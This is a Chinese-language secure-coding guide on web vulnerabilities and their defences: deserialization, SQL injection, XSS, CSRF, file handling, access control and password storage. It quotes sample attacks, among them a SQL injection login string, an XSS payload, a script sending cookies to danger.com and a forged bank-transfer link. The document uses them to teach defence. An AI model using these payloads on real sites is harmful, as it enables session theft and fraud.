[TOC]
前言
安全無小事,成敗在細節(jié),網(wǎng)絡(luò)有風(fēng)險,災(zāi)難彈指間。
安全一般情況下看不見,在你周圍漂浮著,顯現(xiàn)出來后,往往會刻骨銘心。正因為安全看不見,所以往往不受重視,因為感知到的概率真的太低,用戶的第一感知是他看得見、摸得著、嗅得到、品得出的東西,實實在在的東西,而不是那種虛無縹緲的東西,我們對概率低的東西往往默認選擇忽略。
編碼安全
反序列化命令執(zhí)行
暴露或間接暴露反序列化API,導(dǎo)致用戶可以操作傳入數(shù)據(jù),攻擊者可以精心構(gòu)造反序列化對象并執(zhí)行惡意代碼。
最典型的就是fastjson了,有一段時間,fastjson被爆出過多次存在漏洞,很多文章報道了這件事兒,并且給出了升級建議。fastjson在反序列化時會調(diào)用目標類的setter方法,那么如果黑客在JdbcRowSetImpl的dataSourceName中設(shè)置了一個想要執(zhí)行的命令,那么就會導(dǎo)致很嚴重的后果遠程命令執(zhí)行漏洞,即利用漏洞入侵到目標服務(wù)器,通過服務(wù)器執(zhí)行命令。
所以針對這種開源框架及工具包,建議使用最新版本,避免被不法分子鉆漏洞。
SQL 注入
SQL注入漏洞是由于Web應(yīng)用程序沒有對用戶輸入數(shù)據(jù)的合法性進行判斷,攻擊者通過Web頁面的輸入?yún)^(qū)域(如URL、表單等) ,用精心構(gòu)造的SQL語句插入特殊字符和指令,通過和數(shù)據(jù)庫交互獲得私密信息或者篡改數(shù)據(jù)庫信息。SQL注入攻擊在Web攻擊中非常流行,攻擊者可以利用SQL注入漏洞獲得管理員權(quán)限,在網(wǎng)頁上加掛木馬和各種惡意程序,盜取企業(yè)和用戶敏感信息。
比如登錄的時候,用戶輸入了“admin' or 1=1 --”,
漏洞代碼:select * from user where username='${username}' and password=‘${password}'
SQL 執(zhí)行:select * from user where username=' admin' or 1=1 -- ' and password=null
防范措施
- 使用預(yù)處理執(zhí)行SQL語句
- 如果使用的是MyBatis,那么所有的變量必須使用#符號;如果特殊應(yīng)用必須使用$的情況,必須確保變量完全來源于系統(tǒng)內(nèi)部或代碼定義好的固定常量
- 對于Order by或者表名、字段名等不能使用預(yù)處理的情況,研發(fā)人員可以在java層面做映射來進行解決
跨站 XSS(Cross-site scripting)
跨站腳本攻擊發(fā)生在客戶端,可被用于進行竊取隱私、釣魚欺騙、竊取密碼、傳播惡意代碼等攻擊。
攻擊者利用應(yīng)用程序的動態(tài)展示數(shù)據(jù)功能,在html頁面里嵌入惡意代碼(如:“<script src=“..”></script>”)。當用戶瀏覽該頁之時,這些嵌入在html中的惡意代碼會被執(zhí)行,用戶瀏覽器被攻擊者控制,從而達到攻擊者的特殊目的。
一個釣魚欺騙的例子,比如論壇里面有人回復(fù)了一條消息,假設(shè)用戶貼了一張圖片,src如下,
http://xxx.com/a.jpg\"\u003c/script\u003e\u003cscript type='text/javascript' src='http://danger.com/xxx.js' /\u003e"
其中“\u003c”對應(yīng)“<”,“\u003e”對應(yīng)“>”
一個盜取cookie的例子,同源策略不限制img標簽,img可能是惡意網(wǎng)址的鏈接,那么可以構(gòu)造一個看不見的img,然后把用戶的cookie發(fā)送到惡意網(wǎng)址的服務(wù)器
var img=document.createElement("img");
img.src="http://danger.com/cookie=?"+escape(document.cookie);
document.body.appendChild(img);
安全編碼建議,Java側(cè)需要對非富文本采用escape轉(zhuǎn)義,富文本采用owasp antisamy;在javascript內(nèi)容中輸出的“用戶可控數(shù)據(jù)”,需要做javascript escape轉(zhuǎn)義”,同時如果可以的話,給網(wǎng)站設(shè)置一個跳轉(zhuǎn)的白名單。
Java代碼如下
import cn.hutool.core.util.EscapeUtil;
import org.owasp.validator.html.AntiSamy;
import org.owasp.validator.html.CleanResults;
import org.owasp.validator.html.Policy;
public class Test {
public static void main(String[] args) {
String str = "abc<script>alert(\"hello\")</script>def";
// 非富文本采用escape轉(zhuǎn)義
System.out.println("EscapeUtil:" + EscapeUtil.escape(str));
// 富文本采用owasp antisamy
AntiSamy antiSamy = new AntiSamy();
try {
Policy policy = Policy.getInstance(Test.class.getClassLoader()
.getResourceAsStream("antisamy-anythinggoes.xml"));
CleanResults results = antiSamy.scan(str, policy);
System.out.println("AntiSamy:" + results.getCleanHTML());
} catch (Exception e) {
e.printStackTrace();
}
}
}
跨站請求偽造 CSRF(Cross-site request forgery)
攻擊者在用戶瀏覽網(wǎng)頁時,利用頁面元素(例如img的src),強迫受害者的瀏覽器向Web應(yīng)用程序發(fā)送一個改變用戶信息的請求。
比如一個用戶的會話cookie在瀏覽器沒有關(guān)閉的時候,是不會被刪除的,所以可以換個思路,不再去偷這個cookie了,相反,可以在web.com中構(gòu)造一個領(lǐng)獎頁面,里面包含一個連接,讓用戶去點擊,例如:
恭喜你獲得了iPhoneX一臺,快來<a href="www.icbc.com.cn/transfer?toBankId=黑客的賬戶&money=金額">領(lǐng)取吧</a>
這得先知道icbc.com.cn的轉(zhuǎn)賬操作的url和參數(shù)名稱。
如果這個用戶恰好登錄了icbc.com,那他的cookie還在,當他禁不住誘惑,點了這個鏈接后,一個轉(zhuǎn)賬操作就神不知鬼不覺的發(fā)生了。
防范措施
- 用戶登陸時,設(shè)置一個CSRF的隨機TOKEN,同時后續(xù)都在請求后面帶上這個TOKEN
- 生成表單的同時,推送TOKEN值。表單提交,判斷token是否一致,如果不一致或沒有這個值,判斷為CSRF攻擊,并記錄日志 ,如一致就放行,并重新生成下一個新的token
- 重要操作增加二次圖片驗證碼或滑動驗證碼等
- 致命操作使用二次密碼驗證或人臉識別等
URL跳轉(zhuǎn)
Web應(yīng)用程序接收到用戶提交的URL參數(shù)后,沒有對參數(shù)做“可信任URL”的驗證,就向用戶瀏覽器返回跳轉(zhuǎn)到該URL的指令。一般發(fā)生在登錄授權(quán)的回調(diào)地址那里。
防范措施,添加跳轉(zhuǎn)白名單,判斷目的地址是否在白名單列表中,如果不在列表中,就判定為URL跳轉(zhuǎn)攻擊。
文件安全
任意文件上傳
文件上傳漏洞通常由于網(wǎng)頁代碼中的文件上傳路徑變量過濾不嚴造成的,如果文件上傳功能實現(xiàn)代碼沒有嚴格限制用戶上傳的文件后綴以及文件類型,攻擊者可通過 Web 訪問的目錄上傳任意文件,包括網(wǎng)站后門文件(webshell),進而遠程控制網(wǎng)站服務(wù)器。
防范措施
- 檢查上傳文件擴展名白名單,不屬于白名單內(nèi),不允許上傳。
- 上傳文件的目錄必須是http請求無法直接訪問到的。如果需要訪問的,必須上傳到其他(和web服務(wù)器不同的)域名下,并設(shè)置該目錄為不解析jsp等腳本語言的目錄。
- 圖片上傳,要通過處理(縮略圖、水印等),無異常后才能保存到服務(wù)器。
任意文件下載
處理用戶請求下載文件時,允許用戶提交任意文件路徑,并把服務(wù)器上對應(yīng)的文件直接發(fā)送給用戶,這將造成任意文件下載威脅。如果讓用戶提交文件目錄地址,就把目錄下的文件列表發(fā)給用戶,會造成目錄遍歷安全威脅。
防范措施
- 文件路徑保存至數(shù)據(jù)庫,讓用戶提交文件對應(yīng)ID下載文件
- 下載文件之前做權(quán)限判斷
- 不允許提供目錄遍歷服務(wù)
權(quán)限安全
垂直權(quán)限安全/縱向越權(quán)
由于應(yīng)用程序沒有做鑒權(quán),或鑒權(quán)做的比較粗,導(dǎo)致的惡意用戶可以通過窮舉遍歷管理頁面的URL,就可以訪問或控制其他角色擁有的數(shù)據(jù)或管理功能,達到權(quán)限提升目的。
可以采用細粒度鑒權(quán)策略,判斷當前用戶是否擁有功能的權(quán)限。
水平權(quán)限安全/橫向越權(quán)
應(yīng)用程序根據(jù)用戶提交的ID(如訂單id、用戶id、商品id等),在沒有校驗身份的情況下,直接返回用戶信息,從而會造成攻擊者越權(quán)遍歷所有其他用戶信息的問題。
涉及到用戶數(shù)據(jù)的操作應(yīng)進行嚴格的身份校驗,可以從服務(wù)端登錄態(tài)cookie或session信息中取值校驗,禁止通過用戶提交的ID信息直接進行數(shù)據(jù)操作。
信息安全
密碼
過去一段時間來, 眾多的網(wǎng)站遭遇用戶密碼數(shù)據(jù)庫泄露事件。層出不窮的類似事件對用戶會造成巨大的影響,因為人們往往習(xí)慣在不同網(wǎng)站使用相同的密碼,一家 “暴庫”,全部遭殃。
在用戶設(shè)置密碼時,需要校驗密碼的強度,要數(shù)字、密碼、特殊符號,且6位以上。
同時在網(wǎng)絡(luò)傳輸上,也要注意進行加密傳輸。
在密碼的存儲上,一定不能存儲明文,需要進行加密存儲,這其中經(jīng)過一系列的存儲加密升級。
單純的MD5或sha算法加密,看起來很安全,沒法被破解,但是有了字典表/彩虹表破解的手段,破解出來就是很簡單的事了,具體可以看MD5 解密查詢的網(wǎng)站上,如果你的密碼很簡單,加密后的 MD5 密文都能反查出原始密碼來。
早期為了改進單向hash的缺陷,為了讓彩虹表失效,引入了鹽,鹽是隨機生成的一個唯一字符串,連在明文密碼后增強密碼的隨機性,然后再做hash得到的加密密文存儲在db中,這樣一個是相同的密碼存在db中的值就不同了,另一個是彩虹表也不會再起作用了。但是同樣以目前計算機的算力,暴力破解也是分分鐘的事情。
PBKDF2/BCrypt/SCrypt 算法,這幾種算法有一個特點,算法中都有個因子,用于指明計算密碼摘要所需要的資源和時間,也就是計算強度。計算強度越大,攻擊者建立rainbow table越困難,以至于不可繼續(xù)。這類算法也可以保證即使計算能力不斷提高,只要調(diào)整算法中的強度因子,密碼仍然不可能被輕易的攻破。
個人敏感信息
典型的如用戶的身份證跟手機號,現(xiàn)在很多網(wǎng)站,只要一個身份證跟手機號,就擁有了很多權(quán)限,對于這部分信息的存儲,也需要注意加密,且不能只使用簡單的加密算法,特別不要將編碼(如Base64)和密碼算法混為一談,前者不是密碼算法。不要使用DES等低強度的密碼算法,使用AES等高強度的加密算法。
驗證碼安全
登陸、注冊、短信驗證、郵件驗證等api往往會成為攻擊者撞庫、轟炸的目標。
在登陸、注冊、短信發(fā)送、郵件發(fā)送必須加入圖片驗證碼,同時驗證碼必須設(shè)置有效期和有效次數(shù)(一般為一次性),使用短信、郵件驗證時,必須限制同一ID或接收者的驗證碼發(fā)送頻率。